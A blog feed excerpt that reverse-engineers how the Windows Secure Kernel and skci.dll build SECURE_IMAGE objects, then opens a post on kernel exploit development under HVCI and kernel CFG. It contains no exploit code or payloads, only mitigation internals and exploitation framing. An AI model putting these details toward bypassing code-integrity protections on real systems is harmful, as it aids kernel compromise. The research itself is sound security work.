<p>VTL 1 has now mapped the VTL 0 MDL (using another MDL). <code class="language-plaintext highlighter-rouge">MappedSystemVa</code> is now a pointer to the VTL 1 mapping of the VTL 0 MDL, and the integrity checks now occur on this new mapping, instead of directly operating on the VTL 0 MDL. After confirming the VTL 0 MDL contains legitimate data (the large <code class="language-plaintext highlighter-rouge">if</code> statement in the screenshot below), another MDL (not the MDL from VTL 0, not the MDL created by VTL 1 to describe the MDL from VTL 0, but a third, new MDL) is created. This MDL will be an actual copy of the now verified contents of the VTL 0 MDL. In otherwords, <code class="language-plaintext highlighter-rouge">thirdNewMDl-&gt;StartVa = StartAddressOfHeaders</code> (which is start of the image we are dealing with in the first place to create a <code class="language-plaintext highlighter-rouge">securekernel!_SECURE_IMAGE</code> structure).</p>

<p><img src="/images/secureimage13.png" alt="" /></p>

<p>We can now clearly see that since VTL 1 has created this new MDL, the page frame number (PFN) of the VTL 0 MDL was provided since a mapping of virtual memory is simply just creating another virtual page which is backed by a common physical page. When the new MDL is mapped, the Secure Kernel can then use <code class="language-plaintext highlighter-rouge">NewMdl-&gt;MappedSystemVa</code> to safely access, in the Secure Kernel virtual address space, the header information provided by the MDL from VTL 0.</p>

<p>The VTL 1 MDL, which is mapped into VTL 1 and has now had all contents verified. We now return back to the original caller where we started in the first place - <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code>. This then allows VTL 1 to have a memory buffer where the contents of the image from VTL 0 resides. We can clearly see below this is immediately used in a call to <code class="language-plaintext highlighter-rouge">RtlImageNtHeaderEx</code> in order to validate that the memory which VTL 0 sent in the first place contains a legitimate image in order to create a <code class="language-plaintext highlighter-rouge">securekernel!_SECURE_IMAGE</code> object. It is also at this point that we determine if we are dealing with the 32-bit or 64-bit architecture.</p>

<p><img src="/images/secureimage14.png" alt="" /></p>

<p>More information is then gathered, such as the size of the optional headers, the section alignment, etc. Once this information is flushed out, a call to an external function <code class="language-plaintext highlighter-rouge">SkciCreateSecureImage</code> is made. Based on the naming convention, we can infer this function resides in <code class="language-plaintext highlighter-rouge">skci.dll</code>.</p>

<p><img src="/images/secureimage15.png" alt="" /></p>

<p>We know in the original Secure System Call that the second parameter is the PFN which backs the VTL 0 MDL. <code class="language-plaintext highlighter-rouge">UnknownUlong</code> and <code class="language-plaintext highlighter-rouge">UnknownUlong1</code> here are the 4th and 5th parameters, respectively, passed to <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code>. As of right now we also don’t know what they are. The last value I noticed was consistently this <code class="language-plaintext highlighter-rouge">0x800c</code> constant across multiple calls to <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code>.</p>

<p><img src="/images/secureimage16.png" alt="" /></p>

<p>Opening <code class="language-plaintext highlighter-rouge">skci.dll</code> in IDA, we can examine this function further, which seemingly is responsible for creating the secure image.</p>

<p><img src="/images/secureimage17.png" alt="" /></p>

<p>Taking a look into this function a bit more, we can see this function doesn’t create the object itself but it creates a “Secure Image Context”, which on this build of Windows is <code class="language-plaintext highlighter-rouge">0x110</code> bytes in size. The first function called in <code class="language-plaintext highlighter-rouge">skci!SkciCreateSecureImage</code> is <code class="language-plaintext highlighter-rouge">skci!HashKGetHashLength</code>. This is a very simple function, and it accepts two parameters - one an input and one an output or return. The input parameter is our last Secure System Call parameter, which was <code class="language-plaintext highlighter-rouge">0x800C</code>.</p>

<p><img src="/images/secureimage18.png" alt="" /></p>

<p><img src="/images/secureimage19.png" alt="" /></p>

<p>Although IDA’s decompilation here is a bit confusing, what this function does is look for a few constant values - one of the options is <code class="language-plaintext highlighter-rouge">0x800C</code>. If the value <code class="language-plaintext highlighter-rouge">0x800C</code> is provided, the output parameter (which is the hash size based on function name and the fact the actual return value is of type NTSTATUS) is set to <code class="language-plaintext highlighter-rouge">0x20</code>. This effectively insinuates that since obviously <code class="language-plaintext highlighter-rouge">0x800C</code> is not a <code class="language-plaintext highlighter-rouge">0x20</code> byte value, nor a hash, that <code class="language-plaintext highlighter-rouge">0x800C</code> must instead refer to a <em>type</em> of hash which is likely associated with an image. We can then essentially say that the last Secure System Call parameter for secure image creation is the “type” of hash associated with this image. In fact, looking at cross references to this function reveals that the function <code class="language-plaintext highlighter-rouge">skci!CiInitializeCatalogs</code> passes the parameter <code class="language-plaintext highlighter-rouge">skci!g_CiMinimumHashAlgorithm</code> as the first parameter to this function - meaning that the first parameter actually specifies the <em>hash algorithm</em>.</p>

<blockquote>
  <p>Edit: I realize I neglected to mention in this case <code class="language-plaintext highlighter-rouge">0x800C</code> is SHA256. Thank you to my friend Alex Ionescu for pointing out the fact I omitted this in the blog!</p>
</blockquote>

<p>After calculating the hash size, the Secure Image Context is then built out. This starts by obtaining the Image Headers (<code class="language-plaintext highlighter-rouge">nt!_IMAGE_NT_HEADERS64</code>) headers for the image. Then the Secure Image Context is allocated from the pool and initialized to <code class="language-plaintext highlighter-rouge">0</code> (this is how we know the Secure Image Context is <code class="language-plaintext highlighter-rouge">0x110</code> bytes in size). The various sections contained in the image are used to build out much of the information tracked by the Secure Image Context.</p>

<p><img src="/images/secureimage20.png" alt="" /></p>

<p><img src="/images/secureimage21.png" alt="" /></p>

<blockquote>
  <p>Note that <code class="language-plaintext highlighter-rouge">UnknownULong1</code> was updated to <code class="language-plaintext highlighter-rouge">ImageSize</code>. I wish I had a better way to explain as to how I identified this, but in reality it happenstance as I was examining the optional headers I realized I had seen this value before. See the image below to validate that the value from the Secure System Call arguments corresponds to <code class="language-plaintext highlighter-rouge">SizeOfImage</code>.</p>
</blockquote>

<p><img src="/images/secureimage21a.png" alt="" /></p>

<p>One thing to keep in mind here is a <code class="language-plaintext highlighter-rouge">SECURE_IMAGE</code> object is created <em>before</em> <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> has had a chance actually perform the full loading of the image. At this point the image is <em>mapped</em> into virtual memory, but not loaded. We can see this by examining the <code class="language-plaintext highlighter-rouge">nt!_IMAGE_NT_HEADERS64</code> structure and seeing that <code class="language-plaintext highlighter-rouge">ImageBase</code> in the <code class="language-plaintext highlighter-rouge">nt!_IMAGE_OPTIONAL_HEADER64</code> structure is still set to a generic <code class="language-plaintext highlighter-rouge">0x1c0000000</code> address instead of the virtual address which the image is currently mapped (because this information has not yet been updated as part of the loading process).</p>

<p><img src="/images/secureimage22.png" alt="" /></p>

<p>Next in the Secure Image Context creation functionality, the Secure Kernel locates the <code class="language-plaintext highlighter-rouge">.rsrc</code> section of the image and the Resource Data Directory. This information is used to calculate the file offset to the Resource Data Directory and also captures the virtual size of the <code class="language-plaintext highlighter-rouge">.rsrc</code> section.</p>

<p><img src="/images/secureimage23.png" alt="" /></p>

<p><img src="/images/secureimage24.png" alt="" /></p>

<p>After this <code class="language-plaintext highlighter-rouge">skci!SkciCreateSecureImage</code> will, if the parameter we previously identified as <code class="language-plaintext highlighter-rouge">UnknownBool</code> is set to <em>true</em>, allocate some pool memory which will be used in a call to <code class="language-plaintext highlighter-rouge">skci!CiCreateVerificationContextForImageGeneratedPageHashes</code>. This infers to us the “unknown bool” is really an indicator whether or not to create the Verification Context. A context, in this instance, refers to some memory (usually in the form of a structure) which contains information related to the context in which something was created, but wouldn’t be available later otherwise.</p>

<blockquote>
  <p>The reader should know - I asked Andrea a question about this. The answer here is that a file can either be page-hashed or file-hashed signed. Although the bool gates creating the Verification Context, it is more aptly used to describe if a file is file-hashed or page-hashed. If the image is file-hashed signed, the Verification Context is created. For page-hashed files there is no need for the additional context information (we will see why shortly).</p>
</blockquote>

<p>This begs the question - how do we know if we are dealing with a file that was page-hashed signed or file-hash signed? Taking a short detour, this starts in the initial section object creation (<code class="language-plaintext highlighter-rouge">nt!MiCreateNewSection</code>). During this time a bitmask, based on the parameters surrounding the creation of the section object that will back the loaded driver is formed. A <a href="https://jxy-s.github.io/herpaderping/res/DivingDeeper.html">partially-reversed</a> <code class="language-plaintext highlighter-rouge">CREATE_SECTION_PACKET</code> structure from my friend Johnny Shaw outlines this. <code class="language-plaintext highlighter-rouge">Packet-&gt;Flags</code> is one of the main factors that dictates how this <em>new</em> bitmask is formulated. In the case of the analysis being done in this blog post, when bit 21 (<code class="language-plaintext highlighter-rouge">PacketFlags &amp; 0x100000</code>) and when bit 6 (<code class="language-plaintext highlighter-rouge">PacketFlags &amp; 0x20</code>) are set, we get the value for our new mask - which has a value of <code class="language-plaintext highlighter-rouge">0x40000001</code>. This bitmask is then carried through to the header validation functions, as seen below.</p>

<p><img src="/images/secureimage24a.png" alt="" /></p>

<p>This bitmask will finally make its way to <code class="language-plaintext highlighter-rouge">ci!CiGetActionsForImage</code>. This call, as the name infers, returns <em>another</em> bitmask based on our <code class="language-plaintext highlighter-rouge">0x40000001</code> bitmask. The caller of <code class="language-plaintext highlighter-rouge">ci!CiGetActionsForImage</code> is <code class="language-plaintext highlighter-rouge">ci!CiValidateImageHeader</code>. This new returned bitmask gives instructions to the header validation function as to what actions to take for validation.</p>

<p><img src="/images/secureimage24aa.png" alt="" /></p>

<p>As <a href="https://n4r1b.com/posts/2022/09/smart-app-control-internals-part-2/">previous art</a> shows, depending on the bitmask returned the header validation is going to be done via <em>page hash</em> validation, or <em>file hash</em> validation by supplying a function pointer to the actual validation function.</p>

<p><img src="/images/secureimage24b.png" alt="" /></p>

<p>The two terms (page-hash signed and file-hash signed) can be very confusing - and there is very little information about them in the wild. A file-hashed file is one that has the <em>entire contents</em> of the file itself hashed. <em>However</em>, we must consider things like a driver being paged out and paged in. When an image is paged in, for instance, it needs to be validated. Images in this case are <em>always</em> verified using page hashes, and never file hashes (I want to make clear I only know the following information because I asked Andrea). Because a file-hashed file would not have page hash information available (obviously since it is “file-hashed”), <code class="language-plaintext highlighter-rouge">skci.dll</code> will create something called a “Page Hash Context” (which we will see shortly) for file-hashed images so that they are compatible with the requirement to verify information using page hashes.</p>

<p><img src="/images/secureimage25.png" alt="" /></p>

<p>As a point of contention, this means we have determined the arguments used for a Secure Image Secure System Call.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SECURE_IMAGE_CREATE_ARGS</span>
<span class="p">{</span>
    <span class="n">PVOID</span> <span class="n">Reserved</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">Vtl0MdlImageHeaders</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">PageFrameNumberForMdl</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">ImageeIsFileHashedCreateVerificationContext</span><span class="p">;</span>
    <span class="n">ULONG</span> <span class="n">ImageSize</span><span class="p">;</span>
    <span class="n">ULONG</span> <span class="n">HashAlgorithm</span><span class="p">;</span>
<span class="p">}</span> <span class="n">SECURE_IMAGE_CREATE_ARGS</span><span class="p">;</span>
</code></pre></div></div>

<p>Moving on, the first thing this function (since we are dealing with a file-hashed image) does is actually call two functions which are responsible for creating <em>additional</em> contexts - the first is an “Image Hash Context” and the second is a “Page Hash Context”. These contexts are stored in the main Verification Context.</p>

<p><img src="/images/secureimage26.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">skci!CiCreateImageHashContext</code> is a relatively small wrapper that simply takes the hashing algorithm passed in as part of the Secure Image Secure System Call (<code class="language-plaintext highlighter-rouge">0x800C</code> in our case) and uses this in a call to <code class="language-plaintext highlighter-rouge">skci!SymCryptSha256Init</code>. <code class="language-plaintext highlighter-rouge">skci!SymCryptSha256Init</code> takes the hash algorithm (<code class="language-plaintext highlighter-rouge">0x800C</code>) and uses it to create the Image Hash Context for our image (which really isn’t so much a “context” as it mainly just contains the size of the hash and the hashing data itself).</p>

<p>The Page Hash Context information is only produced for a file-hashed image. Otherwise file-hashed images would not have a way to be verified in the future as only page hashes are used for verification of the image. Page Hash Context are slightly more involved, but provide much of the same information. <code class="language-plaintext highlighter-rouge">skci!CiCreatePageHashContextForImageMapping</code> is responsible for creating this context and <code class="language-plaintext highlighter-rouge">VerificationContext_Offset_0x108</code> stores the actual Page Hash Context.</p>

<p>The Page Hash Context logic begins by using <code class="language-plaintext highlighter-rouge">SizeOfRawData</code> from each of the section headers (<code class="language-plaintext highlighter-rouge">IMAGE_SECTION_HEADER</code>) to iterate over of the sections available in the image being processed and to capture how many pages make up each section (determines how many pages make up all of the sections of the image).</p>

<p><img src="/images/secureimage27.png" alt="" /></p>

<p>This information, along with <code class="language-plaintext highlighter-rouge">IMAGE_OPTIONAL_HEADER-&gt;SizeOfHeaders</code>, the size of the image itself, and the number of pages that span the sections of the image are stored in the Page Hash Context. Additionally, the Page Hash Context is then allocated based on the size of the sections (to ensure enough room is present to store all of the needed information).</p>

<p><img src="/images/secureimage28.png" alt="" /></p>

<p>After this, the Page Hash Context information is filled out. This begins by  <em>only storing the first page of the image</em> in the Page Hash Context. The rest of the pages in each of the sections of the target image are filled out via <code class="language-plaintext highlighter-rouge">skci!SkciValidateImageData</code>, which is triggered by a separate Secure System Call. This comes at a later stage after the current Secure System Call has returned <em>but before</em> we have left the original <code class="language-plaintext highlighter-rouge">nt!MiCreateNewSection</code> function. We will see this in a future blog post.</p>

<p><img src="/images/secureimage28a.png" alt="" /></p>

<p>Now that the initial Verification Context (which contains also the Page Hash and Image Hash Contexts) have been created (but as we know will be updated with more information later), <code class="language-plaintext highlighter-rouge">skci!SkciCreateSecureImage</code> will then sort and copy information from the Image Section Headers and store them in the Verification Context. This function will also calculate the file offset for the last section in the image by computing <code class="language-plaintext highlighter-rouge">PointerToRawData</code> + <code class="language-plaintext highlighter-rouge">SizeOfRawData</code> in the <code class="language-plaintext highlighter-rouge">skci!CiGetFileOffsetAfterLastRawSectionData</code> function.</p>

<p><img src="/images/secureimage29.png" alt="" /></p>

<p><img src="/images/secureimage30.png" alt="" /></p>

<p>After this, the Secure Image Context creation work is almost done. The last thing this function does is compute the hash of the first page of the image and stores it in the Secure Image Context directly this time. This also means the Secure Image Context is returned by the caller of <code class="language-plaintext highlighter-rouge">skci!SkciCreateSecureImage</code>, which is the Secure Kernel function servicing the original Secure System Call.</p>

<p><img src="/images/secureimage31.png" alt="" /></p>

<blockquote>
  <p>Note that previously we saw <code class="language-plaintext highlighter-rouge">skci!CiAddPagesToPageHashContext</code> called within <code class="language-plaintext highlighter-rouge">skci!CiCreatePageHashContextForImageMapping</code>. In the call in the above image, the fourth parameter is <code class="language-plaintext highlighter-rouge">SizeOfHeaders</code>, but in the call within <code class="language-plaintext highlighter-rouge">skci!CiCreatePageHashContextForImageMapping</code> the parameter was <code class="language-plaintext highlighter-rouge">MdlByteCount</code> - which is the <code class="language-plaintext highlighter-rouge">ByteCount</code> provided earlier by the MDL in the Secure System Call arguments. In our case, <code class="language-plaintext highlighter-rouge">SizeOfHeaders</code> and the <code class="language-plaintext highlighter-rouge">ByteCount</code> are both <code class="language-plaintext highlighter-rouge">0x1000</code> - which infers that when the MDL is constructured, the <code class="language-plaintext highlighter-rouge">ByteCount</code> is set to <code class="language-plaintext highlighter-rouge">0x1000</code> based on the <code class="language-plaintext highlighter-rouge">SizeOfHeaders</code> from the Optional Header. This validates what we mentioned at the beginning of the blog where although the “base address” is used as the first Secure System Call parameter, this could be more specifically referred to as the “headers” for the image.</p>
</blockquote>

<p>The Secure Kernel maintains a table of all active Secure Images that are known. There are two very similar tables, which are used to track threads and NARs (<code class="language-plaintext highlighter-rouge">securekernel!SkiThreadTable</code>/<code class="language-plaintext highlighter-rouge">securekernel!SkiNarTable</code>). These are of type “sparse tables”. A sparse table is a computer science concept that effectively works like a static array of data, but instead of it being unordered the data is ordered which allows for faster lookups. It works by supporting <code class="language-plaintext highlighter-rouge">0x10000000</code>, or 256,000 entries. Note that these entries are not all allocated at once, but are simply “reserved” in the sense that the entries that are not in use are not mapped.</p>

<p><img src="/images/secureimage31a.png" alt="" /></p>

<p>Secure Images are tracked via the <code class="language-plaintext highlighter-rouge">securekernel!SkmiImageTable</code> symbol. This table, as a side note, is initialized when the Secure Kernel initializes. The Secure Pool, the Secure Image infrastructure, and the Code Integrity infrastructure are initialized after the kernel-mode user-shared data page is mapped into the Secure Kernel.</p>

<p>The Secure Kernel first allocates an entry in the table where this Secure Image object will be stored. To calculate the index where the object will be stored, <code class="language-plaintext highlighter-rouge">securekernel!SkmmAllocateSparseTableEntry</code> is called. This creates a <code class="language-plaintext highlighter-rouge">sizeof(ULONG_PTR)</code> “index” structure. This determines the index into the table where the object is stored. In the case of storing a new entry, on 64-bit, the first 4 bytes provide the index and the last 4 bytes are unused (or, if they are used, I couldn’t see where). This is all done back in the original function <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code>, after the function which creates the Secure Image Context has returned.</p>

<p><img src="/images/secureimage32.png" alt="" /></p>

<p>As we can also see above, this is where our actual Secure Image object is created. As the functionality of <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code> continues, this object will get filled out with more and more information. Some of the first data collected is if the image is already loaded in a valid kernel address. From the blog earlier, we mentioned the Secure Image loading occurs when an image is first mapped but not loaded. This seems to infer it is possible for a Secure Image to be at least already loaded at a valid kernel-mode address. If it is loaded, a bitwise OR happens with a mask of <code class="language-plaintext highlighter-rouge">0x1000</code> to indicate this. The entry point of the image is captured, and the previously-allocated Secure Image Context data is saved. Also among the first information collected is the Virtual Address and Size of the Load Config Data Directory.</p>

<p><img src="/images/secureimage33.png" alt="" /></p>

<p>The next items start by determining if the image being loaded is characterized as a DLL (this is technically possible, for example, <code class="language-plaintext highlighter-rouge">ci.dll</code> is loaded into kernel-mode) by checking if the 13th bit is set in the <code class="language-plaintext highlighter-rouge">FileHeader.Characteristics</code> bitmask.</p>

<p><img src="/images/secureimage34.png" alt="" /></p>

<p>After this, the Secure Image creation logic will create an allocation based on the size of the image from <code class="language-plaintext highlighter-rouge">NtHeaders-&gt;OptionalHeader-&gt;SizeOfImage</code>. This allocation is not touched again during the initialization logic.</p>

<p><img src="/images/secureimage35.png" alt="" /></p>

<p>At this point, for each of the sections in the image, the prototype PTEs for the image (via <code class="language-plaintext highlighter-rouge">securekernel!SkmiPopulateImagePrototypes</code>) are populated. If you are not familiar, when a shared memory region is shared for, as an example, between two-processes an issue arises at the PTE level. A <a href="https://codemachine.com/articles/prototype_ptes.html">prototype PTE</a> allows easily for the memory manager to track pages that are shared between two processes. As even <em>Windows Internals, 7th Edition, Part 1, Chapter 5</em> states - prototype PTEs are created for a pagefile-backed section object when it is first created. The same this effectively is happening here, but instead of actually creating the prototype PTEs (because this is done in VTL 0), the Secure Kernel now obtains a pointer to the prototype PTEs.</p>

<p><img src="/images/secureimage36.png" alt="" /></p>

<p>After this, additional section data and relocation information for the image is captured. This first starts by checking if the relocation information is stripped and, if the information hasn’t been stripped, the code captures the Image Data Directory associated with relocation information.</p>

<p><img src="/images/secureimage37.png" alt="" /></p>

<p>The next thing that occurs is, again, each of the present sections is iterated over. This is done to capture some important information about each section in a memory allocation that is stored in the Secure Image object. Specifically here, relocation information is being processed. The Secure Image object creation logic will first allocate some memory in order to store the Virtual Address page number, size of the raw data in number of pages, and pointer to raw data for the section header that is currently being processed. As a part of each check, the logic determines if the relocation table falls within the range of the current section. If it does, the file offset to the relocation table is calculated and stored in the Secure Image object.</p>

<p><img src="/images/secureimage38.png" alt="" /></p>

<p>Additionally, we saw previously that if the relocation information was stripped out of the image, the Secure Image object (at offset <code class="language-plaintext highlighter-rouge">0x50</code> and <code class="language-plaintext highlighter-rouge">0x58</code>) were updated with values of false and true, 0 and 1, respectively. This seems to indicate why the relocation information may not be present. In this case, however, if the relocation information wasn’t stripped but there legitimately was no relocation information available (the Image Data Directory entry for the relocation data was zero), these boolean values are updated to true and false, 1 and 0, respectively. This would seem to indicate to the Secure Image object why the relocation information may or may not be present.</p>

<p><img src="/images/secureimage39.png" alt="" /></p>

<p>The last bits of information the Secure Image object creation logic processes are:</p>

<ol>
  <li>Is the image being processed a 64-bit executable image or are the number of data directories at least 10 decimal in amount to support the data directory we want to capture? If not, skip step 2.</li>
  <li>If the above is true, allocate and fill out the “Dynamic Relocation Data”</li>
</ol>

<p>As a side-note, I only determines the proper name for this data is “Dynamic Relocation Data” because of the routine <code class="language-plaintext highlighter-rouge">securekernel!SkmiDeleteImage</code> - which is responsible for deleting a Secure Image object when the object’s reference count reaches 0 (after we get through this last bit of information that is processed, we will talk about this routine in more detail). In the <code class="language-plaintext highlighter-rouge">securekernel!SkmiDeleteImage</code> logic, a few pointers in the object itself are checked to see if they are allocated. If they are, they are freed (this makes sense, as we have seen there have been many more memory allocations than just the object itself). <code class="language-plaintext highlighter-rouge">SecureImageObject + 0xB8</code> is checked as a place in the Secure Image object that is allocated. If the allocation is present, a function called <code class="language-plaintext highlighter-rouge">securekernel!SkmiFreeDynamicRelocationInfo</code> is called to presumably free this memory.</p>

<p><img src="/images/secureimage40.png" alt="" /></p>

<p>This would indicate that the “Dynamic Relocation Data” is being created in the Secure Image object creation logic.</p>

<p><img src="/images/secureimage41.png" alt="" /></p>

<p>The information captured here refers to the load configuration Image Data Directory. The information about the load config data is verified, and the virtual address and size are captured and stored in the Secure Image object. This makes sense, as the dynamic relocation table <a href="https://denuvosoftwaresolutions.github.io/DVRT/dvrt.html">is just</a> the load config directory of an executable.</p>

<p><img src="/images/secureimage42.png" alt="" /></p>

<p>This is the last information the Secure Image object needs for the initialization (we know more information will be collected after this Secure System Call returns)! Up until this point, the last parameter we haven’t touched in the <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureImageSection</code> function is the last parameter, which is actually an <em>output</em> parameter. The output parameter here is filled with the results of a call to <code class="language-plaintext highlighter-rouge">securekernel!SkobCreateHandle</code>.</p>

<p><img src="/images/secureimage43.png" alt="" /></p>

<p>If we look back at the initial Secure System Call dispatch function, this output parameter will be stored in the original Secure System Call arguments at offset <code class="language-plaintext highlighter-rouge">0x10</code> (16 decimal)</p>

<p>This handle is also stored in the Secure Image object itself. This also infers that when a Secure Image object is created, a handle to the object is returned to VTL 0/NT! This handle is eventually stored in the control area for the section object which backs the image (in VTL 0) itself. This is stored in <code class="language-plaintext highlighter-rouge">ControlArea-&gt;u2.e2.SeImageStub.StrongImageReference</code>.</p>

<p><img src="/images/secureimage44.png" alt="" /></p>

<blockquote>
  <p>Note that this isn’t immediately stored in the Control Area of the section object. This happens later, as we will see in a subsequent blog post, but it is something at least to note here. As another point of contention, the way I knew this handle would eventually be stored here is because when I was previously doing analysis on NAR/NTE creation, which we will eventually talk about, this handle value was the first parameter passed as part of the Secure System Call.</p>
</blockquote>

<p>This pretty much sums up the instantiation of the initial Secure Image object. The object is now created <em>but not</em> finalized - much more data still needs to be validated. Because this further validation happens <em>after</em> the Secure System Call returns, I will put that analysis into another blog post. The future post we will look at what <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>, <code class="language-plaintext highlighter-rouge">securekernel.exe</code>, and <code class="language-plaintext highlighter-rouge">skci.dll</code> do with this object after the initial creation before the image is actually loaded fully into VTL 0. Before we close the blog post, it is worth taking a look the object itself and how it is treated by the Secure Kernel.</p>

<h2 id="secure-image-objects---now-what">Secure Image Objects - Now What?</h2>
<p>After the Secure Image object is created, the “clean-up” code for the end of the function (<code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateSecureSection</code>) dereferences the object if the object was created but failure occured during the setting up of the initial object. Notice that the object is dereferenced at <code class="language-plaintext highlighter-rouge">0x20</code> bytes <em>before</em> the actual object address.</p>

<p><img src="/images/secureimage45.png" alt="" /></p>

<p>What does this mean? Objects are prepended with a <em>header</em> that contains metadata about the object itself. The reference count for an object, historically, on Windows is contained in the object header (for the normal kernel this is <code class="language-plaintext highlighter-rouge">nt!_OBJECT_HEADER</code>). This tells us that each object managed by the Secure Kernel has a <code class="language-plaintext highlighter-rouge">0x20</code> byte header! Taking a look at <code class="language-plaintext highlighter-rouge">securekernel!SkobpDereferenceObject</code> we can clearly see that within this header the reference count itself is stored at offset <code class="language-plaintext highlighter-rouge">0x18</code>. We can also see that there is an object destructor, contained in the header itself.</p>

<p><img src="/images/secureimage46.png" alt="" /></p>

<p>Just like regular NT objects, there is a similar “<code class="language-plaintext highlighter-rouge">OBJECT_TYPE</code>” setup (<code class="language-plaintext highlighter-rouge">nt!PsProcessType</code>, <code class="language-plaintext highlighter-rouge">nt!PsThreadType</code>, etc.). Taking a look at the image below, <code class="language-plaintext highlighter-rouge">securekernel!SkmiImageType</code> is used when referring to Secure Image Objects.</p>

<p><img src="/images/secureimage47.png" alt="" /></p>

<p><a href="https://ntnuopen.ntnu.no/ntnu-xmlui/bitstream/handle/11250/2448948/18109_FULLTEXT.pdf?sequence=1">Existing art</a> denotes that this object type pointer (<code class="language-plaintext highlighter-rouge">securekernel!SkmiImageType</code>) contains the destructor and size of the object. This can be corroborated by the interested reader by opening <code class="language-plaintext highlighter-rouge">securekernel.exe</code> as data in WinDbg (<code class="language-plaintext highlighter-rouge">windbgx -z C:\Windows\system32\securekernel.exe</code>) and looking at the object type directly. This reveals that for the <code class="language-plaintext highlighter-rouge">securekernel!SkmiImageType</code> symbol there is an object destructor and, as we saw earlier with the value <code class="language-plaintext highlighter-rouge">0xc8</code>, the size of this type of object.</p>

<p><img src="/images/secureimage47a.png" alt="" /></p>

<p><img src="/images/secureimage48.png" alt="" /></p>

<p>The following are a list of most of the valid objects in the Secure Kernel I located (although it is unclear without further analysis what many of them are used for):</p>

<ol>
  <li>Secure Image Objects (<code class="language-plaintext highlighter-rouge">securekernel!SkmiImageType</code>)</li>
  <li>Secure HAL DMA Enabler Objects (<code class="language-plaintext highlighter-rouge">securekernel!SkhalpDmaEnablerType</code>)</li>
  <li>Secure HAL DMA Mapping Objects (<code class="language-plaintext highlighter-rouge">securekernel!SkhalpDmaMappingType</code>)</li>
  <li>Secure Enclave Objects (<code class="language-plaintext highlighter-rouge">securekernel!SkmiEnclaveType</code>)</li>
  <li>Secure Hal Extension Object (<code class="language-plaintext highlighter-rouge">securekernel!SkhalExtensionType</code>)</li>
  <li>Secure Allocation Object (<code class="language-plaintext highlighter-rouge">securekernel!SkmiSecureAllocationType</code>)</li>
  <li>Secure Thread Object (<code class="language-plaintext highlighter-rouge">securekernel!SkeThreadType</code>)</li>
  <li>Secure Shadow Synchronization Objects (events/semaphores) (<code class="language-plaintext highlighter-rouge">securekernel!SkeShadowSyncObjectType</code>)</li>
  <li>Secure Section Object (<code class="language-plaintext highlighter-rouge">securekernel!SkmiSectionType</code>)</li>
  <li>Secure Process Object (<code class="language-plaintext highlighter-rouge">securekernel!SkpsProcessType</code>)</li>
  <li>Secure Worker Factory Object (<code class="language-plaintext highlighter-rouge">securekernel!SkeWorkerFactoryObjectType</code>)</li>
  <li>Secure PnP Device Object (<code class="language-plaintext highlighter-rouge">securekernel!SkPnpSecureDeviceObjectType</code>)</li>
</ol>

<h2 id="additional-resources">Additional Resources</h2>
<p>Legitimately, at the end of the analysis I did for this blog, I stumbled across <a href="https://csrc.nist.gov/CSRC/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp4512.pdf">these</a> <a href="https://csrc.nist.gov/CSRC/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp4511.pdf">wonderful</a> documents titled “Security Policy Document”. They are produced by Microsoft for FIPS (The Federal Information Processing Standard). They contains some additional insight into SKCI/CI. Additional documents on other Windows technologies can be found <a href="https://learn.microsoft.com/en-us/windows/security/security-foundations/certification/validations/fips-140-windows10">here</a>.</p>

<h2 id="conclusion">Conclusion</h2>
<p>I hope the reader found at least this blog to not be so boring, even if it wasn’t informational to you. As always, if you have feedback please don’t hesitate to reach out to me. I would also like to thank Andrea Allievi for answering a few of my questions about this blog post! I did not ask Andrea to review every single aspect of this post (so any errors in this post are completely mine). If, again, there are issues identified please reach out to me so I can make edits!</p>

<p>Peace, love, and positivity!</p>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Analysis of NT, Secure Kernel, and SKCI working together to create the initial SECURE_IMAGE object]]></summary></entry><entry><title type="html">Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG</title><link href="/hvci/" rel="alternate" type="text/html" title="Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG" /><published>2022-05-23T00:00:00+00:00</published><updated>2022-05-23T00:00:00+00:00</updated><id>/hvci</id><content type="html" xml:base="/hvci/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>I firmly believe there is nothing in life that is more satisfying than wielding the ability to execute unsigned-shellcode. Forcing an application to execute some kind of code the developer of the vulnerable application never intended is what first got me hooked on memory corruption. However, as we saw in my <a href="https://connormcgarr.github.io/type-confusion-part-3/">last blog series on browser exploitation</a>, this is already something that, if possible, requires an <em>expensive</em> exploit - in terms of cost to develop. With the advent of Arbitrary Code Guard, and Code Integrity Guard, executing unsigned code within a popular user-mode exploitation “target”, such as a browser, is essentially impossible when these mitigations are enforced properly (and without an existing vulnerability).</p>

<p>Another popular target for exploit writers is the Windows kernel. Just like with user-mode targets, such as Microsoft Edge (pre-Chromium), Microsoft has invested extensively into preventing execution of unsigned, attacker-supplied code in the kernel. This is why Hypervisor-Protected Code Integrity (HVCI) is sometimes called “the ACG of kernel mode”. HVCI is a mitigation, as the name insinuates, that is provided by the Windows hypervisor - Hyper-V.</p>

<p>HVCI is a part of a suite of hypervisor-provided security features known as Virtualization-Based Security (VBS). HVCI uses some of the same technologies employed for virtualization in order to mitigate the ability to execute shellcode/unsigned-code within the Windows kernel. It is worth noting that VBS <em>isn’t</em> HVCI. HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).</p>

<p>How can exploit writers deal with this “shellcode-less” era? Let’s start by taking a look into how a typical kernel-mode exploit may work and then examine how HVCI affects that mission statement.</p>

